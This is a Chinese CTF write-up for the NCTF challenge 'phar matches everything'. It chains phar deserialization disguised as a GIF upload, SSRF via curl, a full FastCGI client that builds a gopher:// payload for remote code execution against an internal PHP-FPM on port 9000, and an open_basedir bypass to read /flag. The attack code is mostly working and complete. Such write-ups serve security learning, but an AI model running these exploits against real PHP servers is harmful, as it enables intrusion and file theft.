美文网首页
NCTF-phar matches everything 填坑

NCTF-phar matches everything 填坑

作者: byc_404 | 来源:发表于2020-02-25 21:00 被阅读0次

    之前校赛web最难的一道题......当时水平菜的看都不敢看,现在按师傅要求来做做这道题。(zjy师傅说这题把php相关知识几乎全考了,看来是很集大成的一道题目。)

    题目首先进去后有两个功能,一个是仅限制图片的文件上传点。另一个是用getimagesize()搭配的读取图片文件信息的功能

    首先是源码泄露。在catchmachine.php存在.swp泄露。然而buuoj上题目并没有泄露,直接看源码好了

    <?php
    class Easytest{
        protected $test;
        public function funny_get(){
            return $this->test;
        }
    }
    class Main {
        public $url;
        public function curl($url){
            $ch = curl_init();  
            curl_setopt($ch,CURLOPT_URL,$url);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            $output=curl_exec($ch);
            curl_close($ch);
            return $output;
        }
    
        public function __destruct(){
            $this_is_a_easy_test=unserialize($_GET['careful']);
            if($this_is_a_easy_test->funny_get() === '1'){
                echo $this->curl($this->url);
            }
        }    
    }
    
    if(isset($_POST["submit"])) {
        $check = getimagesize($_POST['name']);
        if($check !== false) {
            echo "File is an image - " . $check["mime"] . ".";
        } else {
            echo "File is not an image.";
        }
    }
    ?>
    

    Main类里的__destruct()居然存在反序列化,很有意思。然后如果绕过这个点将执行一段curl,这又是ssrf的点了。但是我们又要绕过getimagesize的检查,这就得利用到phar反序列化了,因为phar能绕过绝大部分文件的检查。
    既然如此先ssrf读文件
    那么构造exp:

    <?php
    
    class Easytest{
        protected $test="1";
        public function funny_get(){
            return $this->test;
        }
    }
    
    class Main {
        public $url="file:///etc/hosts";
        public function curl($url){
            $ch = curl_init();
            curl_setopt($ch,CURLOPT_URL,$url);
            curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
            $output=curl_exec($ch);
            curl_close($ch);
            return $output;
        }
    
        public function __destruct(){
            $this_is_a_easy_test=unserialize($_GET['careful']);
            if($this_is_a_easy_test->funny_get() === '1'){
                echo $this->curl($this->url);
            }
        }
    }
    
    @unlink('phar.phar');
    $p = new Phar('phar.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
    $o = new Main();
    $p->setMetadata($o);
    $p->addFromString('test.txt','test');
    $p->stopBuffering();
    
    
    $a = new Easytest();
    echo (urlencode(serialize($a)));#O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
    

    生成的phar文件改后缀为gif,jpeg,可以绕过上传。而打印出的用于触发ssrf的魔术方法的反序列化数据则传到url中。之后再用phar://伪协议触发。这样我们就直接写出用于触发phar反序列化的exp:

    import requests
    
    url='http://290b80a5-0d25-41e3-a73d-d01107cce539.node3.buuoj.cn/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D'
    
    data={
        'name':'phar://uploads/d388a7ce2d.gif',
        'submit':'1'
    }
    
    r=requests.post(url,data=data)
    print(r.text)
    

    接下来就是ssrf利用了,此处依旧是打内网。探测完
    etc/hosts/结果是

    ::1 localhost ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    ff00::0 ip6-mcastprefix
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    173.0.168.9 osrc
    

    此时顺着主机探测http://173.0.168.10,可以发现有回显

    存活主机
    php-FPM要怎么利用呢?这里要提到p牛的文章:
    https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

    具体p牛写的很详细,我们知道的,就是可以直接拿脚本利用这点,使用gopher协议传输tcp数据攻击内网,达到任意命令执行。
    使用如下脚本

    import socket
    import random
    import argparse
    import sys
    from io import BytesIO
    import base64
    import urllib
    
    # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
    
    PY2 = True if sys.version_info.major == 2 else False
    
    def bchr(i):
        if PY2:
            return force_bytes(chr(i))
        else:
            return bytes([i])
    
    def bord(c):
        if isinstance(c, int):
            return c
        else:
            return ord(c)
    
    def force_bytes(s):
        if isinstance(s, bytes):
            return s
        else:
            return s.encode('utf-8', 'strict')
    
    def force_text(s):
        if issubclass(type(s), str):
            return s
        if isinstance(s, bytes):
            s = str(s, 'utf-8', 'strict')
        else:
            s = str(s)
        return s
    
    class FastCGIClient:
        """A Fast-CGI Client for Python"""
    
        # private
        __FCGI_VERSION = 1
    
        __FCGI_ROLE_RESPONDER = 1
        __FCGI_ROLE_AUTHORIZER = 2
        __FCGI_ROLE_FILTER = 3
    
        __FCGI_TYPE_BEGIN = 1
        __FCGI_TYPE_ABORT = 2
        __FCGI_TYPE_END = 3
        __FCGI_TYPE_PARAMS = 4
        __FCGI_TYPE_STDIN = 5
        __FCGI_TYPE_STDOUT = 6
        __FCGI_TYPE_STDERR = 7
        __FCGI_TYPE_DATA = 8
        __FCGI_TYPE_GETVALUES = 9
        __FCGI_TYPE_GETVALUES_RESULT = 10
        __FCGI_TYPE_UNKOWNTYPE = 11
    
        __FCGI_HEADER_SIZE = 8
    
        # request state
        FCGI_STATE_SEND = 1
        FCGI_STATE_ERROR = 2
        FCGI_STATE_SUCCESS = 3
    
        def __init__(self, host, port, timeout, keepalive):
            self.host = host
            self.port = port
            self.timeout = timeout
            if keepalive:
                self.keepalive = 1
            else:
                self.keepalive = 0
            self.sock = None
            self.requests = dict()
    
        def __connect(self):
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(self.timeout)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # if self.keepalive:
            #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
            # else:
            #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
            try:
                self.sock.connect((self.host, int(self.port)))
            except socket.error as msg:
                self.sock.close()
                self.sock = None
                print(repr(msg))
                return False
            return True
    
        def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
            length = len(content)
            buf = bchr(FastCGIClient.__FCGI_VERSION) \
                   + bchr(fcgi_type) \
                   + bchr((requestid >> 8) & 0xFF) \
                   + bchr(requestid & 0xFF) \
                   + bchr((length >> 8) & 0xFF) \
                   + bchr(length & 0xFF) \
                   + bchr(0) \
                   + bchr(0) \
                   + content
            return buf
    
        def __encodeNameValueParams(self, name, value):
            nLen = len(name)
            vLen = len(value)
            record = b''
            if nLen < 128:
                record += bchr(nLen)
            else:
                record += bchr((nLen >> 24) | 0x80) \
                          + bchr((nLen >> 16) & 0xFF) \
                          + bchr((nLen >> 8) & 0xFF) \
                          + bchr(nLen & 0xFF)
            if vLen < 128:
                record += bchr(vLen)
            else:
                record += bchr((vLen >> 24) | 0x80) \
                          + bchr((vLen >> 16) & 0xFF) \
                          + bchr((vLen >> 8) & 0xFF) \
                          + bchr(vLen & 0xFF)
            return record + name + value
    
        def __decodeFastCGIHeader(self, stream):
            header = dict()
            header['version'] = bord(stream[0])
            header['type'] = bord(stream[1])
            header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
            header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
            header['paddingLength'] = bord(stream[6])
            header['reserved'] = bord(stream[7])
            return header
    
        def __decodeFastCGIRecord(self, buffer):
            header = buffer.read(int(self.__FCGI_HEADER_SIZE))
    
            if not header:
                return False
            else:
                record = self.__decodeFastCGIHeader(header)
                record['content'] = b''
    
                if 'contentLength' in record.keys():
                    contentLength = int(record['contentLength'])
                    record['content'] += buffer.read(contentLength)
                if 'paddingLength' in record.keys():
                    skiped = buffer.read(int(record['paddingLength']))
                return record
    
        def request(self, nameValuePairs={}, post=''):
            if not self.__connect():
                print('connect failure! please check your fasctcgi-server !!')
                return
    
            requestId = random.randint(1, (1 << 16) - 1)
            self.requests[requestId] = dict()
            request = b""
            beginFCGIRecordContent = bchr(0) \
                                     + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                     + bchr(self.keepalive) \
                                     + bchr(0) * 5
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                                  beginFCGIRecordContent, requestId)
            paramsRecord = b''
            if nameValuePairs:
                for (name, value) in nameValuePairs.items():
                    name = force_bytes(name)
                    value = force_bytes(value)
                    paramsRecord += self.__encodeNameValueParams(name, value)
    
            if paramsRecord:
                request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
    
            if post:
                request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
    
            self.sock.send(request)
            self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
            self.requests[requestId]['response'] = b''
            return self.__waitForResponse(requestId)
    
        def gopher(self, nameValuePairs={}, post=''):
    
            requestId = random.randint(1, (1 << 16) - 1)
            self.requests[requestId] = dict()
            request = b""
            beginFCGIRecordContent = bchr(0) \
                                     + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                     + bchr(self.keepalive) \
                                     + bchr(0) * 5
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                                  beginFCGIRecordContent, requestId)
            paramsRecord = b''
            if nameValuePairs:
                for (name, value) in nameValuePairs.items():
                    name = force_bytes(name)
                    value = force_bytes(value)
                    paramsRecord += self.__encodeNameValueParams(name, value)
    
            if paramsRecord:
                request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
    
            if post:
                request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
            return request
    
        def __waitForResponse(self, requestId):
            data = b''
            while True:
                buf = self.sock.recv(512)
                if not len(buf):
                    break
                data += buf
    
            data = BytesIO(data)
            while True:
                response = self.__decodeFastCGIRecord(data)
                if not response:
                    break
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                        or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                        self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                    if requestId == int(response['requestId']):
                        self.requests[requestId]['response'] += response['content']
                if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                    self.requests[requestId]
            return self.requests[requestId]['response']
    
        def __repr__(self):
            return "fastcgi connect host:{} port:{}".format(self.host, self.port)
    
    if __name__ == '__main__':
        parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
        parser.add_argument('host', help='Target host, such as 127.0.0.1')
        parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
        parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
        parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
        parser.add_argument('-e', '--ext', help='ext absolute path', default='')
        parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
        parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
        parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    
        args = parser.parse_args()
    
        client = FastCGIClient(args.host, args.port, 3, 0)
        params = dict()
        documentRoot = "/"
        uri = args.file
        params = {
            'GATEWAY_INTERFACE': 'FastCGI/1.0',
            'REQUEST_METHOD': 'POST',
            'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
            'SCRIPT_NAME': uri,
            'QUERY_STRING': '',
            'REQUEST_URI': uri,
            'DOCUMENT_ROOT': documentRoot,
            'SERVER_SOFTWARE': 'php/fcgiclient',
            'REMOTE_ADDR': '127.0.0.1',
            'REMOTE_PORT': '9985',
            'SERVER_ADDR': '127.0.0.1',
            'SERVER_PORT': '80',
            'SERVER_NAME': "localhost",
            'SERVER_PROTOCOL': 'HTTP/1.1',
            'CONTENT_TYPE': 'application/text',
            'CONTENT_LENGTH': "%d" % len(args.code),
            'PHP_VALUE': 'auto_prepend_file = php://input',
            'PHP_ADMIN_VALUE': 'allow_url_include = On'
        }
    
        if args.ext and args.include_file:
            #params['PHP_ADMIN_VALUE']='extension = '+args.ext
            params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
            params['PHP_VALUE']='auto_prepend_file = '+args.include_file
        if not args.url_format and not args.base64_format :
            response = client.request(params, args.code)
            print(force_text(response))
        else:
            response = client.gopher(params, args.code)
            if args.url_format:
                print(urllib.quote(response))
            if args.base64_format:
                print(base64.b64encode(response))
    

    调用时,依据主机ip修改参数:

    python exp.py 173.0.168.10 /var/www/html/index.php -p 9000 -c <?php phpinfo();?> -u 
    
    exp

    生成的数据流我们再度生成phar文件

    <?php
    
    class Main {
        public $url="gopher://173.0.168.10:9000/_%01%01%B4U%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B4U%01%DC%00%00%0E%03CONTENT_LENGTH172%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%B4U%00%00%00%00%01%05%B4U%00%AC%00%00%3C%3Fphp%20mkdir%28%27byc%27%29%3Bchdir%28%27byc%27%29%3Bini_set%28%27open_basedir%27%2C%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bini_set%28%27open_basedir%27%2C%27/%27%29%3Becho%28file_get_contents%28%27flag%27%29%29%3B%20%3F%3E%01%05%B4U%00%00%00%00";
    }
    @unlink('phar.phar');
    $p = new Phar('phar.phar');
    $p->startBuffering();
    $p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
    $o=new Main();
    $p->setMetadata($o);
    $p->addFromString('test.txt','test');
    $p->stopBuffering();
    

    这里自己开始犯了个大错,没有给其带上9000端口.否则我们的gopher数据是发给80端口的。而实际上,我们要打的是监听9000端口的FPM。所以注意paylaod格式的端口与下划线。
    之后看到phpinfo()会发现又禁掉了系统函数。但是主要的要点在于bypass open_basedir。否则我们的行动会被限制在这层目录。
    考虑目录逻辑

    /flag
    /var/www/html/index.php
    

    直接构造payload:

    mkdir('byc');chdir('byc');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
    

    到根目录就可以拿flag了。


    flag

    相关文章

      网友评论

          本文标题:NCTF-phar matches everything 填坑

          本文链接:https://www.haomeiwen.com/subject/ysxqchtx.html